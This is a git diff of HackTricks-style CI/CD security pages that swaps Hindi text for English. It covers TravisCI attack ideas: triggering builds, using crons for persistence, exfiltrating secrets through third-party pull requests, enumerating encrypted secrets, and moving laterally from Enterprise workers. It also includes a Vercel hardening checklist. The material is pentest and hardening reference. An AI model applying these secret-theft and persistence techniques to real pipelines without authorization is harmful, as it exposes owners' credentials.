- TeamCity
|
||||
@@ -11,6 +11,9 @@ Github PRs का स्वागत है जो यह समझाते ह
|
||||
- Rancher
|
||||
- Mesosphere
|
||||
- Radicle
|
||||
- कोई अन्य CI/CD प्लेटफॉर्म...
|
||||
- Any other CI/CD platform...
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,65 +1,68 @@
|
||||
# TravisCI सुरक्षा
|
||||
# TravisCI Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TravisCI क्या है
|
||||
## What is TravisCI
|
||||
|
||||
**Travis CI** एक **होस्टेड** या **स्थानीय** **निरंतर एकीकरण** सेवा है जिसका उपयोग विभिन्न **गिट प्लेटफार्मों** पर होस्ट किए गए सॉफ़्टवेयर प्रोजेक्ट्स को बनाने और परीक्षण करने के लिए किया जाता है।
|
||||
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
|
||||
|
||||
{{#ref}}
|
||||
basic-travisci-information.md
|
||||
{{#endref}}
|
||||
|
||||
## हमले
|
||||
## Attacks
|
||||
|
||||
### ट्रिगर्स
|
||||
### Triggers
|
||||
|
||||
हमला शुरू करने के लिए आपको पहले यह जानना होगा कि निर्माण को कैसे ट्रिगर किया जाए। डिफ़ॉल्ट रूप से, TravisCI **पुश और पुल अनुरोधों पर निर्माण को ट्रिगर करेगा**:
|
||||
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
|
||||
|
||||
.png>)
|
||||
|
||||
#### क्रोन जॉब्स
|
||||
#### Cron Jobs
|
||||
|
||||
यदि आपके पास वेब एप्लिकेशन तक पहुंच है, तो आप **निर्माण चलाने के लिए क्रोन सेट कर सकते हैं**, यह स्थिरता के लिए या निर्माण को ट्रिगर करने के लिए उपयोगी हो सकता है:
|
||||
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> ऐसा लगता है कि `.travis.yml` के अंदर क्रोन सेट करना संभव नहीं है [इस](https://github.com/travis-ci/travis-ci/issues/9162) के अनुसार।
|
||||
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
|
||||
### थर्ड पार्टी PR
|
||||
### Third Party PR
|
||||
|
||||
डिफ़ॉल्ट रूप से, TravisCI थर्ड पार्टी से आने वाले PRs के साथ env वेरिएबल साझा करने को अक्षम करता है, लेकिन कोई इसे सक्षम कर सकता है और फिर आप रेपो में PR बना सकते हैं और रहस्यों को एक्सफिल्ट्रेट कर सकते हैं:
|
||||
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
|
||||
|
||||
.png>)
|
||||
|
||||
### रहस्यों का डंपिंग
|
||||
### Dumping Secrets
|
||||
|
||||
जैसा कि [**बुनियादी जानकारी**](basic-travisci-information.md) पृष्ठ में बताया गया है, रहस्यों के 2 प्रकार होते हैं। **पर्यावरण वेरिएबल रहस्य** (जो वेब पृष्ठ में सूचीबद्ध हैं) और **कस्टम एन्क्रिप्टेड रहस्य**, जो `.travis.yml` फ़ाइल के अंदर base64 के रूप में संग्रहीत होते हैं (ध्यान दें कि दोनों एन्क्रिप्टेड के रूप में संग्रहीत होने पर अंतिम मशीनों में env वेरिएबल के रूप में समाप्त होंगे)।
|
||||
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
|
||||
|
||||
- **पर्यावरण वेरिएबल** के रूप में कॉन्फ़िगर किए गए **रहस्यों की गणना** करने के लिए **प्रोजेक्ट** की **सेटिंग्स** पर जाएं और सूची की जांच करें। हालाँकि, ध्यान दें कि यहाँ सेट किए गए सभी प्रोजेक्ट env वेरिएबल निर्माण को ट्रिगर करते समय दिखाई देंगे।
|
||||
- **कस्टम एन्क्रिप्टेड रहस्यों** की गणना करने के लिए, सबसे अच्छा आप कर सकते हैं वह है **`.travis.yml` फ़ाइल की जांच करना**।
|
||||
- **एन्क्रिप्टेड फ़ाइलों** की गणना करने के लिए, आप रेपो में **`.enc` फ़ाइलों** के लिए देख सकते हैं, कॉन्फ़िगरेशन फ़ाइल में `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` जैसी पंक्तियों के लिए, या **पर्यावरण वेरिएबल** में **एन्क्रिप्टेड iv और कुंजी** के लिए जैसे:
|
||||
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
|
||||
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
|
||||
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
|
||||
|
||||
.png>)
|
||||
|
||||
### TODO:
|
||||
|
||||
- Windows/Mac/Linux पर रिवर्स शेल चलाने के साथ उदाहरण निर्माण
|
||||
- लॉग में बेस64 एन्कोडेड env लीक करने के साथ उदाहरण निर्माण
|
||||
- Example build with reverse shell running on Windows/Mac/Linux
|
||||
- Example build leaking the env base64 encoded in the logs
|
||||
|
||||
### TravisCI एंटरप्राइज
|
||||
### TravisCI Enterprise
|
||||
|
||||
यदि एक हमलावर एक ऐसे वातावरण में समाप्त होता है जो **TravisCI एंटरप्राइज** का उपयोग करता है (इस बारे में अधिक जानकारी [**बुनियादी जानकारी**](basic-travisci-information.md#travisci-enterprise) में है), तो वह **वर्कर में निर्माण को ट्रिगर करने में सक्षम होगा।** इसका मतलब है कि एक हमलावर उस सर्वर पर पार्श्व रूप से स्थानांतरित करने में सक्षम होगा जिससे वह:
|
||||
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
|
||||
|
||||
- मेज़बान पर भाग सकता है?
|
||||
- कुबेरनेट्स से समझौता कर सकता है?
|
||||
- उसी नेटवर्क में चल रही अन्य मशीनों से समझौता कर सकता है?
|
||||
- नए क्लाउड क्रेडेंशियल्स से समझौता कर सकता है?
|
||||
- escape to the host?
|
||||
- compromise kubernetes?
|
||||
- compromise other machines running in the same network?
|
||||
- compromise new cloud credentials?
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
|
||||
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,42 +4,45 @@
|
||||
|
||||
## Access
|
||||
|
||||
TravisCI सीधे विभिन्न git प्लेटफार्मों जैसे Github, Bitbucket, Assembla, और Gitlab के साथ एकीकृत होता है। यह उपयोगकर्ता से TravisCI को उन रिपोजिटरीज़ तक पहुँचने की अनुमति देने के लिए कहेगा जिन्हें वह TravisCI के साथ एकीकृत करना चाहता है।
|
||||
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
|
||||
|
||||
उदाहरण के लिए, Github में यह निम्नलिखित अनुमतियों के लिए पूछेगा:
|
||||
For example, in Github it will ask for the following permissions:
|
||||
|
||||
- `user:email` (पढ़ने के लिए केवल)
|
||||
- `read:org` (पढ़ने के लिए केवल)
|
||||
- `repo`: सार्वजनिक और निजी रिपोजिटरीज़ और संगठनों के लिए कोड, कमिट स्थिति, सहयोगियों, और तैनाती की स्थिति तक पढ़ने और लिखने की पहुँच प्रदान करता है।
|
||||
- `user:email` (read-only)
|
||||
- `read:org` (read-only)
|
||||
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
|
||||
|
||||
## Encrypted Secrets
|
||||
|
||||
### Environment Variables
|
||||
|
||||
TravisCI में, अन्य CI प्लेटफार्मों की तरह, यह संभव है कि **रिपो स्तर पर रहस्यों को सुरक्षित करें** जो एन्क्रिप्टेड रूप में सुरक्षित किए जाएंगे और **निर्माण को निष्पादित करने वाली मशीन के वातावरण चर में डिक्रिप्ट और पुश किए जाएंगे**।
|
||||
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
|
||||
|
||||
.png>)
|
||||
|
||||
यह संभव है कि **उन शाखाओं को इंगित करें जिनमें रहस्य उपलब्ध होंगे** (डिफ़ॉल्ट रूप से सभी) और यह भी कि क्या TravisCI **इसके मान को छिपाना चाहिए** यदि यह **लॉग में दिखाई देता है** (डिफ़ॉल्ट रूप से यह करेगा)।
|
||||
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
|
||||
|
||||
### Custom Encrypted Secrets
|
||||
|
||||
**प्रत्येक रिपो** के लिए TravisCI एक **RSA की जोड़ी** उत्पन्न करता है, **निजी** को **रखता है**, और रिपोजिटरी की **सार्वजनिक कुंजी** उन लोगों के लिए उपलब्ध कराता है जिनके पास **रिपोजिटरी** तक **पहुँच** है।
|
||||
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
|
||||
|
||||
You can access the public key of one repo with:
|
||||
|
||||
आप एक रिपो की सार्वजनिक कुंजी तक पहुँच सकते हैं:
|
||||
```
|
||||
travis pubkey -r <owner>/<repo_name>
|
||||
travis pubkey -r carlospolop/t-ci-test
|
||||
```
|
||||
फिर, आप इस सेटअप का उपयोग करके **गुप्त को एन्क्रिप्ट कर सकते हैं और उन्हें अपने `.travis.yaml` में जोड़ सकते हैं**। गुप्त को **बिल्ड चलने पर डिक्रिप्ट किया जाएगा** और **पर्यावरण चर** में उपलब्ध होगा।
|
||||
|
||||
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
|
||||
|
||||
.png>)
|
||||
|
||||
ध्यान दें कि इस तरीके से एन्क्रिप्ट किए गए गुप्त सेटिंग्स के पर्यावरण चर में सूचीबद्ध नहीं होंगे।
|
||||
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
|
||||
|
||||
### कस्टम एन्क्रिप्टेड फ़ाइलें
|
||||
### Custom Encrypted Files
|
||||
|
||||
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
|
||||
|
||||
पहले की तरह, TravisCI भी **फ़ाइलों को एन्क्रिप्ट करने और फिर बिल्ड के दौरान उन्हें डिक्रिप्ट करने** की अनुमति देता है:
|
||||
```
|
||||
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
|
||||
|
||||
@@ -49,7 +52,7 @@ storing secure env variables for decryption
|
||||
|
||||
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
|
||||
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
|
||||
Pro Tip: You can add it automatically by running with --add.
|
||||
|
||||
@@ -57,32 +60,36 @@ Make sure to add super_secret.txt.enc to the git repository.
|
||||
Make sure not to add super_secret.txt to the git repository.
|
||||
Commit all changes to your .travis.yml.
|
||||
```
|
||||
ध्यान दें कि जब एक फ़ाइल को एन्क्रिप्ट किया जाता है, तो 2 Env Variables को रिपॉजिटरी के अंदर कॉन्फ़िगर किया जाएगा जैसे:
|
||||
|
||||
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
|
||||
|
||||
.png>)
|
||||
|
||||
## TravisCI Enterprise
|
||||
|
||||
Travis CI Enterprise एक **on-prem संस्करण है Travis CI का**, जिसे आप **अपने बुनियादी ढांचे में तैनात कर सकते हैं**। इसे Travis CI के 'सर्वर' संस्करण के रूप में सोचें। Travis CI का उपयोग करने से आपको एक आसान-से-उपयोग करने योग्य Continuous Integration/Continuous Deployment (CI/CD) प्रणाली को एक वातावरण में सक्षम करने की अनुमति मिलती है, जिसे आप अपनी इच्छानुसार कॉन्फ़िगर और सुरक्षित कर सकते हैं।
|
||||
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
|
||||
|
||||
**Travis CI Enterprise दो प्रमुख भागों में बाँटा गया है:**
|
||||
**Travis CI Enterprise consists of two major parts:**
|
||||
|
||||
1. TCI **सेवाएँ** (या TCI कोर सेवाएँ), जो संस्करण नियंत्रण प्रणालियों के साथ एकीकरण, निर्माणों को अधिकृत करना, निर्माण कार्यों को शेड्यूल करना आदि के लिए जिम्मेदार हैं।
|
||||
2. TCI **कार्यकर्ता** और निर्माण वातावरण छवियाँ (जिन्हें OS छवियाँ भी कहा जाता है)।
|
||||
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
|
||||
2. TCI **Worker** and build environment images (also called OS images).
|
||||
|
||||
**TCI कोर सेवाओं के लिए निम्नलिखित की आवश्यकता होती है:**
|
||||
**TCI Core services require the following:**
|
||||
|
||||
1. एक **PostgreSQL11** (या बाद का) डेटाबेस।
|
||||
2. एक बुनियादी ढांचा जिसमें एक Kubernetes क्लस्टर तैनात किया जा सके; इसे एक सर्वर क्लस्टर में या यदि आवश्यक हो तो एकल मशीन में तैनात किया जा सकता है।
|
||||
3. आपकी सेटअप के आधार पर, आप कुछ घटकों को अपने आप तैनात और कॉन्फ़िगर करना चाह सकते हैं, जैसे कि RabbitMQ - अधिक विवरण के लिए [Travis CI Enterprise सेटअप करना](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) देखें।
|
||||
1. A **PostgreSQL11** (or later) database.
|
||||
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
|
||||
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
|
||||
|
||||
**TCI कार्यकर्ता के लिए निम्नलिखित की आवश्यकता होती है:**
|
||||
**TCI Worker requires the following:**
|
||||
|
||||
1. एक बुनियादी ढांचा जहाँ एक डॉकर छवि जिसमें **कार्यकर्ता और एक लिंक की गई निर्माण छवि तैनात की जा सके**।
|
||||
2. कुछ Travis CI कोर सेवाओं के घटकों से कनेक्टिविटी - अधिक विवरण के लिए [कार्यकर्ता सेटअप करना](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) देखें।
|
||||
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
|
||||
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
|
||||
|
||||
तैनात किए गए TCI कार्यकर्ता और निर्माण वातावरण OS छवियों की मात्रा आपके बुनियादी ढांचे में Travis CI Enterprise तैनाती की कुल समवर्ती क्षमता को निर्धारित करेगी।
|
||||
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,161 +4,160 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Vercel में एक **Team** वह पूरी **environment** है जो एक ग्राहक से संबंधित है और एक **project** एक **application** है।
|
||||
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
|
||||
|
||||
**Vercel** की हार्डनिंग समीक्षा के लिए, आपको **Viewer role permission** वाले उपयोगकर्ता के लिए पूछना होगा या कम से कम **Project viewer permission over the projects** की आवश्यकता होगी (यदि आपको केवल परियोजनाओं की जांच करनी है और Team कॉन्फ़िगरेशन नहीं)।
|
||||
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
|
||||
|
||||
## Project Settings
|
||||
|
||||
### General
|
||||
|
||||
**Purpose:** परियोजना के नाम, ढांचे और निर्माण कॉन्फ़िगरेशन जैसे मौलिक परियोजना सेटिंग्स का प्रबंधन करें।
|
||||
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** परियोजना को दूसरे टीम में स्थानांतरित करने की अनुमति देता है
|
||||
- **Risk:** एक हमलावर परियोजना चुरा सकता है
|
||||
- **Misconfiguration:** Allows to transfer the project to another team
|
||||
- **Risk:** An attacker could steal the project
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** परियोजना को हटाने की अनुमति देता है
|
||||
- **Risk:** परियोजना को हटाना
|
||||
- **Misconfiguration:** Allows to delete the project
|
||||
- **Risk:** Delete the prject
|
||||
|
||||
---
|
||||
|
||||
### Domains
|
||||
|
||||
**Purpose:** कस्टम डोमेन, DNS सेटिंग्स और SSL कॉन्फ़िगरेशन का प्रबंधन करें।
|
||||
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **DNS Configuration Errors**
|
||||
- **Misconfiguration:** गलत DNS रिकॉर्ड (A, CNAME) जो दुर्भावनापूर्ण सर्वरों की ओर इशारा करते हैं।
|
||||
- **Risk:** डोमेन हाईजैकिंग, ट्रैफ़िक इंटरसेप्शन, और फ़िशिंग हमले।
|
||||
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
|
||||
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
|
||||
- **SSL/TLS Certificate Management**
|
||||
- **Misconfiguration:** कमजोर या समाप्त SSL/TLS प्रमाणपत्रों का उपयोग करना।
|
||||
- **Risk:** मैन-इन-द-मिडल (MITM) हमलों के प्रति संवेदनशील, डेटा की अखंडता और गोपनीयता को खतरे में डालना।
|
||||
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
|
||||
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
|
||||
- **DNSSEC Implementation**
|
||||
- **Misconfiguration:** DNSSEC को सक्षम करने में विफलता या गलत DNSSEC सेटिंग्स।
|
||||
- **Risk:** DNS स्पूफिंग और कैश पॉइज़निंग हमलों के प्रति बढ़ी हुई संवेदनशीलता।
|
||||
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
|
||||
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
|
||||
- **Environment used per domain**
|
||||
- **Misconfiguration:** उत्पादन में डोमेन द्वारा उपयोग किए जाने वाले वातावरण को बदलना।
|
||||
- **Risk:** संभावित रहस्यों या कार्यक्षमताओं को उजागर करना जो उत्पादन में उपलब्ध नहीं होनी चाहिए।
|
||||
- **Misconfiguration:** Change the environment used by the domain in production.
|
||||
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
|
||||
|
||||
---
|
||||
|
||||
### Environments
|
||||
|
||||
**Purpose:** विशिष्ट सेटिंग्स और वेरिएबल के साथ विभिन्न वातावरण (Development, Preview, Production) को परिभाषित करें।
|
||||
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Environment Isolation**
|
||||
- **Misconfiguration:** वातावरणों के बीच पर्यावरण चर साझा करना।
|
||||
- **Risk:** विकास या पूर्वावलोकन वातावरण में उत्पादन रहस्यों का रिसाव, जिससे जोखिम बढ़ता है।
|
||||
- **Misconfiguration:** Sharing environment variables across environments.
|
||||
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
|
||||
- **Access to Sensitive Environments**
|
||||
- **Misconfiguration:** उत्पादन वातावरणों तक व्यापक पहुंच की अनुमति देना।
|
||||
- **Risk:** लाइव अनुप्रयोगों में अनधिकृत परिवर्तन या पहुंच, संभावित डाउनटाइम या डेटा उल्लंघनों की ओर ले जाना।
|
||||
- **Misconfiguration:** Allowing broad access to production environments.
|
||||
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
|
||||
|
||||
---
|
||||
|
||||
### Environment Variables
|
||||
|
||||
**Purpose:** एप्लिकेशन द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल और रहस्यों का प्रबंधन करें।
|
||||
**Purpose:** Manage environment-specific variables and secrets used by the application.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** संवेदनशील वेरिएबल को `NEXT_PUBLIC_` के साथ पूर्ववर्ती करना, जिससे उन्हें क्लाइंट साइड पर पहुंच योग्य बनाना।
|
||||
- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है।
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** यदि अक्षम (डिफ़ॉल्ट) है तो उत्पन्न रहस्यों के मानों को पढ़ना संभव है।
|
||||
- **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है।
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Shared Environment Variables**
|
||||
- **Misconfiguration:** ये टीम स्तर पर सेट किए गए पर्यावरण चर हैं और इनमें संवेदनशील जानकारी भी हो सकती है।
|
||||
- **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है।
|
||||
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
|
||||
---
|
||||
|
||||
### Git
|
||||
|
||||
**Purpose:** Git रिपॉजिटरी इंटीग्रेशन, शाखा सुरक्षा, और तैनाती ट्रिगर्स को कॉन्फ़िगर करें।
|
||||
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Ignored Build Step (TODO)**
|
||||
- **Misconfiguration:** ऐसा लगता है कि यह विकल्प एक बैश स्क्रिप्ट/कमांड को कॉन्फ़िगर करने की अनुमति देता है जो तब निष्पादित होगा जब एक नया कमिट Github में पुश किया जाएगा, जो RCE की अनुमति दे सकता है।
|
||||
- **Risk:** TBD
|
||||
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
|
||||
- **Risk:** TBD
|
||||
|
||||
---
|
||||
|
||||
### Integrations
|
||||
|
||||
**Purpose:** परियोजना कार्यक्षमताओं को बढ़ाने के लिए तृतीय-पक्ष सेवाओं और उपकरणों को कनेक्ट करें।
|
||||
**Purpose:** Connect third-party services and tools to enhance project functionalities.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Insecure Third-Party Integrations**
|
||||
- **Misconfiguration:** अविश्वसनीय या असुरक्षित तृतीय-पक्ष सेवाओं के साथ एकीकृत करना।
|
||||
- **Risk:** कमजोरियों, डेटा लीक, या समझौता किए गए एकीकरणों के माध्यम से बैकडोर का परिचय।
|
||||
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
|
||||
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
|
||||
- **Over-Permissioned Integrations**
|
||||
- **Misconfiguration:** एकीकृत सेवाओं को अत्यधिक अनुमतियाँ देना।
|
||||
- **Risk:** परियोजना संसाधनों तक अनधिकृत पहुंच, डेटा हेरफेर, या सेवा व्यवधान।
|
||||
- **Misconfiguration:** Granting excessive permissions to integrated services.
|
||||
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
|
||||
- **Lack of Integration Monitoring**
|
||||
- **Misconfiguration:** तृतीय-पक्ष एकीकरणों की निगरानी और ऑडिट करने में विफलता।
|
||||
- **Risk:** समझौता किए गए एकीकरणों का विलंबित पता लगाना, सुरक्षा उल्लंघनों के प्रभाव को बढ़ाना।
|
||||
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
|
||||
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
|
||||
|
||||
---
|
||||
|
||||
### Deployment Protection
|
||||
|
||||
**Purpose:** विभिन्न सुरक्षा तंत्रों के माध्यम से तैनातियों को सुरक्षित करें, यह नियंत्रित करें कि कौन आपके वातावरणों तक पहुंच सकता है और तैनात कर सकता है।
|
||||
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
**Vercel Authentication**
|
||||
|
||||
- **Misconfiguration:** प्रमाणीकरण को अक्षम करना या टीम के सदस्यों की जांच को लागू नहीं करना।
|
||||
- **Risk:** अनधिकृत उपयोगकर्ता तैनातियों तक पहुंच सकते हैं, जिससे डेटा उल्लंघन या अनुप्रयोग का दुरुपयोग हो सकता है।
|
||||
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
|
||||
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
|
||||
|
||||
**Protection Bypass for Automation**
|
||||
|
||||
- **Misconfiguration:** बायपास रहस्य को सार्वजनिक रूप से उजागर करना या कमजोर रहस्यों का उपयोग करना।
|
||||
- **Risk:** हमलावर तैनाती सुरक्षा को बायपास कर सकते हैं, सुरक्षित तैनातियों तक पहुंच और हेरफेर कर सकते हैं।
|
||||
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
|
||||
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
|
||||
|
||||
**Shareable Links**
|
||||
|
||||
- **Misconfiguration:** लिंक को मनमाने ढंग से साझा करना या पुराने लिंक को रद्द करने में विफलता।
|
||||
- **Risk:** सुरक्षित तैनातियों तक अनधिकृत पहुंच, प्रमाणीकरण और IP प्रतिबंधों को बायपास करना।
|
||||
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
|
||||
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
|
||||
|
||||
**OPTIONS Allowlist**
|
||||
|
||||
- **Misconfiguration:** अत्यधिक व्यापक पथों या संवेदनशील एंडपॉइंट्स को अनुमति सूची में शामिल करना।
|
||||
- **Risk:** हमलावर अनसुरक्षित पथों का लाभ उठा सकते हैं ताकि अनधिकृत क्रियाएँ की जा सकें या सुरक्षा जांचों को बायपास किया जा सके।
|
||||
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
|
||||
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
|
||||
|
||||
**Password Protection**
|
||||
|
||||
- **Misconfiguration:** कमजोर पासवर्ड का उपयोग करना या उन्हें असुरक्षित रूप से साझा करना।
|
||||
- **Risk:** यदि पासवर्ड का अनुमान लगाया गया या लीक हुआ तो तैनातियों तक अनधिकृत पहुंच।
|
||||
|
||||
**Note:** यह **Pro** योजना पर **Advanced Deployment Protection** के हिस्से के रूप में $150/माह के लिए उपलब्ध है।
|
||||
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
|
||||
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
|
||||
**Deployment Protection Exceptions**
|
||||
|
||||
- **Misconfiguration:** उत्पादन या संवेदनशील डोमेन को अपवाद सूची में अनजाने में जोड़ना।
|
||||
- **Risk:** महत्वपूर्ण तैनातियों को सार्वजनिक रूप से उजागर करना, जिससे डेटा लीक या अनधिकृत पहुंच हो सकती है।
|
||||
- **Note:** यह **Pro** योजना पर **Advanced Deployment Protection** के हिस्से के रूप में $150/माह के लिए उपलब्ध है।
|
||||
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
|
||||
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
|
||||
**Trusted IPs**
|
||||
|
||||
- **Misconfiguration:** IP पते या CIDR रेंज को गलत तरीके से निर्दिष्ट करना।
|
||||
- **Risk:** वैध उपयोगकर्ताओं को अवरुद्ध करना या अनधिकृत IPs को पहुंच प्राप्त करना।
|
||||
- **Note:** यह **Enterprise** योजना पर उपलब्ध है।
|
||||
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
|
||||
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
|
||||
- **Note:** Available on the **Enterprise** plan.
|
||||
|
||||
---
|
||||
|
||||
### Functions
|
